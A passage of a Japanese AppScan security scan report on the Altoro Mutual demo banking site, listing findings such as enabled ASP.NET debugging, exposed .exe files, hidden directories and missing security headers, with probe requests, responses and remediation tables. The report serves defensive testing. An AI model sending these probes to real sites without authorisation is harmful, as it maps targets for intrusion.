| 重大度: | 低 |
| URL: | http://demo.testfire.net/AppScan.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web<br>アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます |
| 修正: | Microsoft ASP.NET 上でのデバッグを無効にします |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- 値 'stop-debug' を持つ ヘッダー 'Command' が追加されました
- パス を '/AppScan.aspx' に設定します
- メソッド を 'DEBUG' に設定します

**論拠:**

AppScan が、デバッグ・モードでリクエストを送信しました。レスポンスは、ASP.NET のデバッグ・サポートを有効にできることを示しています。これにより、サーバーおよびアプリケーションに関する情報へのアクセスが許可される可能性があります。

**要求/応答:**

```
DEBUG /AppScan.aspx ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive
Command: stop-debug

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:04:02 GMT

OK OK
```

## [低] 問題 http://demo.testfire.net/bank.exe - 1

### 問題 1 / 1

### [低] 圧縮ディレクトリーを発見

| | |
|---|---|
| 問題: | 2061 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank.exe |
| リスク: | アプリケーションのロジックとユーザー名およびパスワードなどのその他の秘密情報を公開する可能性のあるサーバー・サイド・スクリプトのソース・コードが取得できます |
| 修正: | 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/bank.exe' に設定します

**論拠:**

AppScan は、要求されたファイル拡張子に一致する「Content-Type」と共に応答状況 200 OK を受け取りました。

**要求/応答:**

```
GET /bank.exe HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Fri, 26 Feb 2016 09:33:25 GMT
Accept-Ranges: bytes
ETag: "3cc2cbe7870d11:0"
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:05:28 GMT
Content-Length: 49
```

## [低] 問題 http://demo.testfire.net/bank/AppScan.aspx - 1

### 問題 1 / 1

### [低] Microsoft ASP.NET のデバッグが有効

| | |
|---|---|
| 問題: | 1369 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/bank/AppScan.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます |
| 修正: | Microsoft ASP.NET 上でのデバッグを無効にします |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- 値 'stop-debug' を持つ ヘッダー 'Command' が追加されました
- パス を '/bank/AppScan.aspx' に設定します
- メソッド を 'DEBUG' に設定します

**論拠:**

AppScan が、デバッグ・モードでリクエストを送信しました。レスポンスは、ASP.NET のデバッグ・サポートを有効にできることを示しています。これにより、サーバーおよびアプリケーションに関する情報へのアクセスが許可される可能性があります。

**要求/応答:**

```
DEBUG /bank/AppScan.aspx HTTP/1.1
Command: stop-debug
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_loans.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 2
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:04:02 GMT

OK OK
```

## [低] 問題 http://demo.testfire.net/images.exe - 1

### 問題 1 / 1

### [低] 圧縮ディレクトリーを発見

| | |
|---|---|
| 問題: | 2060 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/images.exe |
| リスク: | アプリケーションのロジックとユーザー名およびパスワードなどのその他の秘密情報を公開する可能性のあるサーバー・サイド・スクリプトのソース・コードが取得できます |
| 修正: | 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- メソッド を 'GET' に設定します
- 本文 を '' に設定します
- パス を '/images.exe' に設定します

**論拠:**

AppScan は、要求されたファイル拡張子に一致する「Content-Type」と共に応答状況 200 OK を受け取りました。

**要求/応答:**

```
GET /images.exe HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=personal_deposit.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Fri, 26 Feb 2016 09:33:25 GMT
Accept-Ranges: bytes
ETag: "3cc2cbe7870d11:0"
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:05:28 GMT
Content-Length: 49
```

## [低] 問題 http://demo.testfire.net/images/ - 1

### 問題 1 / 1

### [低] 非表示のディレクトリーを検出

| | |
|---|---|
| 問題: | 1381 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/images/ |
| リスク: | 攻撃者が Web サイトをマップするのに利用できるサイトのファイル・システム構造についての情報を取得することができます |
| 修正: | 禁止されているリソースについて「404 - Not Found」レスポンス・ステータス・コードを送出するか、完全に削除します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/images/' に設定します

**論拠:**

テストでサーバー上の隠しディレクトリーの検出を試みました。403 Forbidden
レスポンスが返されました。これは、アクセスは許可されなかったものの、ディレクトリーの存在が漏洩したことを示しています。

**要求/応答:**

```
GET /images/ ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:04:19 GMT
Content-Length: 1233

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>403 - Forbidden: Access is denied.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
...
```

## [低] 問題 http://demo.testfire.net/pr.exe - 1

### 問題 1 / 1

### [低] 圧縮ディレクトリーを発見

| | |
|---|---|
| 問題: | 2365 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/pr.exe |
| リスク: | アプリケーションのロジックとユーザー名およびパスワードなどのその他の秘密情報を公開する可能性のあるサーバー・サイド・スクリプトのソース・コードが取得できます |
| 修正: | 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

- メソッド を 'GET' に設定します
- 本文 を '' に設定します
- パス を '/pr.exe' に設定します

**論拠:**

AppScan は、要求されたファイル拡張子に一致する「Content-Type」と共に応答状況 200 OK を受け取りました。

**要求/応答:**

```
GET /pr.exe HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Fri, 26 Feb 2016 09:33:25 GMT
Accept-Ranges: bytes
ETag: "3cc2cbe7870d11:0"
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:05:28 GMT
Content-Length: 49
```

## [低] 問題 http://demo.testfire.net/retirement.htm - 3

### 問題 1 / 3

### [低] Content-Security-Policy ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3598 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/retirement.htm |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/retirement.htm' に設定します

**論拠:**

AppScan は Content-Security-Policy 応答ヘッダーが欠落していることを検出しました。そのため各種クロスサイト注入攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /retirement.htm HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=business_retirement.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 1123
Content-Type: text/html
Date: Sat, 12 Sep 2015 16:29:09 GMT
ETag: "04259c5c56c71:0"
Last-Modified: Thu, 22 Feb 2007 08:36:56 GMT
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET

tml>
<head>
<title>Business Retirement Infromation</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>
<body>

<div class="fl" style="width:67%;">

<h1>Retirement</h1>

<p>In order to attract and retain the best employees in today's competitive job market, it is critical to offer retirement plans and benefits that encourage long-term careers with your company. Altoro Mutual specialists can work with you to create a retirement portfolio that will impress your employees while staying within your company's budget.
<ul>
<li>401K</li>
<li>Profit S
...
```

## 問題 2 / 3

## [低] X-XSS-Protection ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3604 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/retirement.htm |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/retirement.htm' に設定します

**論拠:**

AppScan は X-XSS-Protection 応答ヘッダーが欠落していることを検出しました。そのためクロスサイト・スクリプティング攻撃を許可するおそれがあります。

**要求/応答:**

```
GET /retirement.htm HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=business_retirement.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 1123
Content-Type: text/html
Date: Sat, 12 Sep 2015 16:29:09 GMT
ETag: "04259c5c56c71:0"
Last-Modified: Thu, 22 Feb 2007 08:36:56 GMT
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET

tml>
<head>
<title>Business Retirement Infromation</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>
<body>

<div class="fl" style="width:67%;">

<h1>Retirement</h1>

<p>In order to attract and retain the best employees in today's competitive job market, it is critical to offer retirement plans and benefits that encourage long-term careers with your company. Altoro Mutual specialists can work with you to create a retirement portfolio that will impress your employees while staying within your company's budget.
<ul>
<li>401K</li>
<li>Profit S
...
```

## 問題 3 / 3

## [低] X-Content-Type-Options ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3613 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/retirement.htm |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/retirement.htm' に設定します

**論拠:**

AppScan は X-Content-Type-Options 応答ヘッダーが欠落していることを検出しました。そのためドライブバイ・ダウンロード攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /retirement.htm HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/default.aspx?content=business_retirement.htm
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 1123
Content-Type: text/html
Date: Sat, 12 Sep 2015 16:29:09 GMT
ETag: "04259c5c56c71:0"
Last-Modified: Thu, 22 Feb 2007 08:36:56 GMT
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET

tml>
<head>
<title>Business Retirement Infromation</title>
<link href="style.css" rel="stylesheet" type="text/css" />
</head>
<body>

<div class="fl" style="width:67%;">

<h1>Retirement</h1>

<p>In order to attract and retain the best employees in today's competitive job market, it is critical to offer retirement plans and benefits that encourage long-term careers with your company. Altoro Mutual specialists can work with you to create a retirement portfolio that will impress your employees while staying within your company's budget.
<ul>
<li>401K</li>
<li>Profit S
...
```

## [低] 問題 http://demo.testfire.net/static/ - 1

### 問題 1 / 1

### [低] 非表示のディレクトリーを検出

| | |
|---|---|
| 問題: | 1367 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/static/ |
| リスク: | 攻撃者が Web サイトをマップするのに利用できるサイトのファイル・システム構造についての情報を取得することができます |
| 修正: | 禁止されているリソースについて「404 - Not Found」レスポンス・ステータス・コードを送出するか、完全に削除します |

#### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/static/' に設定します

**論拠:**

テストでサーバー上の隠しディレクトリーの検出を試みました。403 Forbidden
レスポンスが返されました。これは、アクセスは許可されなかったものの、ディレクトリーの存在が漏洩したことを示しています。

**要求/応答:**

```
GET /static/ ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive

HTTP/1.1 403 Forbidden
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:04:19 GMT
Content-Length: 1233

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>403 - Forbidden: Access is denied.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
...
```

## [低] 問題 http://demo.testfire.net/survey_questions.aspx - 3

### 問題 1 / 3

### [低] X-Content-Type-Options ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3596 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/survey_questions.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください |

#### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/survey_questions.aspx' に設定します

**論拠:**

AppScan は X-Content-Type-Options
応答ヘッダーが欠落していることを検出しました。そのためドライブバイ・ダウンロード攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /survey_questions.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7409
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:53 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Survey
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css"
/></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch" method="get" action="/search.aspx">
<table width="100%" border="0" cellpadding="0" c
...
```

## 問題 2 / 3

## [低] Content-Security-Policy ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3599 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/survey_questions.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/survey_questions.aspx' に設定します

**論拠:**

AppScan は Content-Security-Policy 応答ヘッダーが欠落していることを検出しました。そのため各種クロスサイト注入攻撃にさらされる可能性が高くなります。

**要求/応答:**

```
GET /survey_questions.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7409
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:53 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Survey
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css"
/></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch" method="get" action="/search.aspx">
<table width="100%" border="0" cellpadding="0" c
...
```

## 問題 3 / 3

## [低] X-XSS-Protection ヘッダーが欠落しています

| | |
|---|---|
| 問題: | 3615 |
| 重大度: | 低 |
| URL: | http://demo.testfire.net/survey_questions.aspx |
| リスク: | ユーザー名、パスワード、マシン名などの Web アプリケーションに関する秘密情報や、秘密のファイルの場所などの情報を取得することができます知識の乏しいユーザーに、ユーザー名、パスワード、クレジット・カード番号、社会保険番号などの秘密情報を提供するように求めることができます |
| 修正: | X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください |

### バリアント 1 / 2

**元の要求に以下の変更が適用されました:**

パス を '/survey_questions.aspx' に設定します

**論拠:**

AppScan は X-XSS-Protection 応答ヘッダーが欠落していることを検出しました。そのためクロスサイト・スクリプティング攻撃を許可するおそれがあります。

**要求/応答:**

```
GET /survey_questions.aspx HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://demo.testfire.net/
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7409
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:02:53 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" >
<head id="_ctl0_ctl0_head"><title>
Altoro Mutual: Survey
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><link href="style.css" rel="stylesheet" type="text/css"
/></head>
<body style="margin-top:5px;">

<div id="header" style="margin-bottom:5px; width: 99%;">
<form id="frmSearch" method="get" action="/search.aspx">
<table width="100%" border="0" cellpadding="0" c
...
```

# [情報] 問題 http://demo.testfire.net/test.aspx - 1

## 問題 1 / 1

## [情報] アプリケーション・テスト・スクリプトを検知

| | |
|---|---|
| 問題: | 1366 |
| 重大度: | 情報 |
| URL: | http://demo.testfire.net/test.aspx |
| リスク: | アプリケーション・ロジック、およびユーザー名やパスワードなどのその他の秘密情報を公開する可能性のある一時スクリプト・ファイルをダウンロードできます |
| 修正: | サーバーからテスト・スクリプトを削除します |

### バリアント 1 / 1

**元の要求に以下の変更が適用されました:**

パス を '/test.aspx' に設定します

**論拠:**

AppScan が、アプリケーションの正当な部分ではない可能性があるファイルをリクエストしました。レスポンスのステータスは 200 OK でした。これは、テストにおいて、リクエストされたファイルのコンテンツの取得に成功したことを示しています。

**要求/応答:**

```
GET /test.aspx ?content=personal_deposit.htm HTTP/1.1
Host: demo.testfire.net
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Win32)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://demo.testfire.net/default.aspx?content=inside.htm
Connection: keep-alive

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 558
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 11 Mar 2016 03:03:55 GMT

<html>
<head><title>
Altoro Mutual Test Page
</title>
</head>

<body><center>
<img src="images/logo.gif">

<p>
<br>
If ASP.Net is installed correctly a message should appear below.

<p>



<p>
<span style='color: red;'>
ASP.Net is installed and functioning
</span>

</p>
<p>
<br>
If nothing appears above in red, you do not have ASP.Net installed correctly.</p><p> Please refer to the documentation provided by Microsoft to get ASP.Net installed and functioning.</P>
</center>

</body>
</html>
```

# 重大度別の修復タスク

## [高] 問題 http://demo.testfire.net/bank/login.aspx - 15

| 修復タスク | 解決済みのセキュリティー問題 |
|---|---|
| 有害な文字のインジェクションに対して考えられる解決策を確認します<br>(高) パラメーター: passw<br>(高) パラメーター: uid<br>(低) パラメーター: uid<br>(低) パス<br>(低) パラメーター: passw | SQL インジェクション<br>クロスサイト・スクリプティング<br>データベース・エラー・パターンを検出 |
| **修復タスク** | **解決済みのセキュリティー問題** |
| 機密情報を送信するときには、必ず SSL および POST (body) パラメーターを使用してください。<br>(高) パラメーター: passw | 暗号化されていないログイン要求 |
| **修復タスク** | **解決済みのセキュリティー問題** |
| autocomplete 属性を正しく off に設定してください<br>(低) パス | パスワード・フィールドで、HTML の autocomplete 属性が無効になっていません |
| **修復タスク** | **解決済みのセキュリティー問題** |
| 照会ストリングで送信される本体パラメーターを受理しません<br>(低) パス | 照会内で受理された本体パラメーター |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-XSS-Protection ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-Content-Type-Options ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | Content-Security-Policy ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| HTML コメントから秘密情報を削除します<br>(情報) パス | HTML コメントによる秘密情報の開示 |
| **修復タスク** | **解決済みのセキュリティー問題** |
| パラメーター値が期待される範囲とタイプであることを確認します。デバッグ・エラー・メッセージおよび例外を出力しないようにします。<br>(情報) パラメーター: uid<br>(情報) パラメーター: passw | アプリケーション・エラー |

## [高] 問題 http://demo.testfire.net/default.aspx - 5

| 修復タスク | 解決済みのセキュリティー問題 |
|---|---|
| アクセスされるファイルが仮想パスにあり、特定の拡張子を持つようにします。ユーザーの入力から特殊な文字を削除します。<br>(高) パラメーター: content | 汚染 Null バイト Windows ファイルの取得 |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-Content-Type-Options ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-Content-Type-Options ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| Content-Security-Policy ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | Content-Security-Policy ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-XSS-Protection ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| お使いの Web サーバーまたは Web アプリケーションに対応するセキュリティー・パッチをダウンロードします。<br>(情報) パス | サーバーのパス開示の可能性のあるパターンを発見 |

## [高] 問題 http://demo.testfire.net/search.aspx - 6

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 有害な文字のインジェクションに対して考えられる解決策を確認します<br>(高) パラメーター: txtSearch<br>(中) パラメーター: txtSearch | クロスサイト・スクリプティング<br>フレームからのフィッシング<br>リンク・インジェクション (クロスサイト・リクエスト・フォージェリーの助長) |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-XSS-Protection ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| Content-Security-Policy<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | Content-Security-Policy ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-Content-Type-Options<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) パス | X-Content-Type-Options ヘッダーが欠落しています |

## [中] 問題 http://demo.testfire.net - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| TLS_FALLBACK_SCSV を実装してください。さらに、SSLv3 を完全に無効にするか、SSLv3 において CBC モードで作動するすべての暗号スイートを無効にしてください。<br>(中) HTTP Server | Padding Oracle On Downgraded Legacy Encryption (POODLE とも呼ばれる) |

## [中] 問題 http://demo.testfire.net/bank/ - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| ディレクトリーの一覧表示を拒否するようにサーバーの設定を変更し、使用できる最新のセキュリティー・パッチをインストールします<br>(中) ディレクトリー | ディレクトリーの一覧作成 |

## [中] 問題 http://demo.testfire.net/pr/ - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| ディレクトリーの一覧表示を拒否するようにサーバーの設定を変更し、使用できる最新のセキュリティー・パッチをインストールします<br>(中) ディレクトリー | ディレクトリーの一覧作成 |

## [低] 問題 http://demo.testfire.net/ - 3

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| Content-Security-Policy<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) HTTP Server | Content-Security-Policy ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-XSS-Protection ヘッダーを使用するようにサーバーを構成してください<br>(低) HTTP Server | X-XSS-Protection ヘッダーが欠落しています |
| **修復タスク** | **解決済みのセキュリティー問題** |
| X-Content-Type-Options<br>ヘッダーを使用するようにサーバーを構成してください<br>(低) HTTP Server | X-Content-Type-Options ヘッダーが欠落しています |

## [低] 問題 http://demo.testfire.net/admin.aspx - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 管理スクリプトに適切な許可を適用します<br>(低) HTTP Server | 管理ページへの直接アクセス |

## [低] 問題 http://demo.testfire.net/admin.exe - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 圧縮されたディレクトリー・ファイルへのアクセスを削除または制限します<br>(低) ディレクトリー | 圧縮ディレクトリーを発見 |

## [低] 問題 http://demo.testfire.net/admin.htm - 1

| 修復タスク | 解決済みのセキュリティー問題 |
| --- | --- |
| 管理スクリプトに適切な許可を適用します<br>(低) HTTP Server | 管理ページへの直接アクセス |

## [低] 問題 http://demo.testfire.net/admin/ - 1

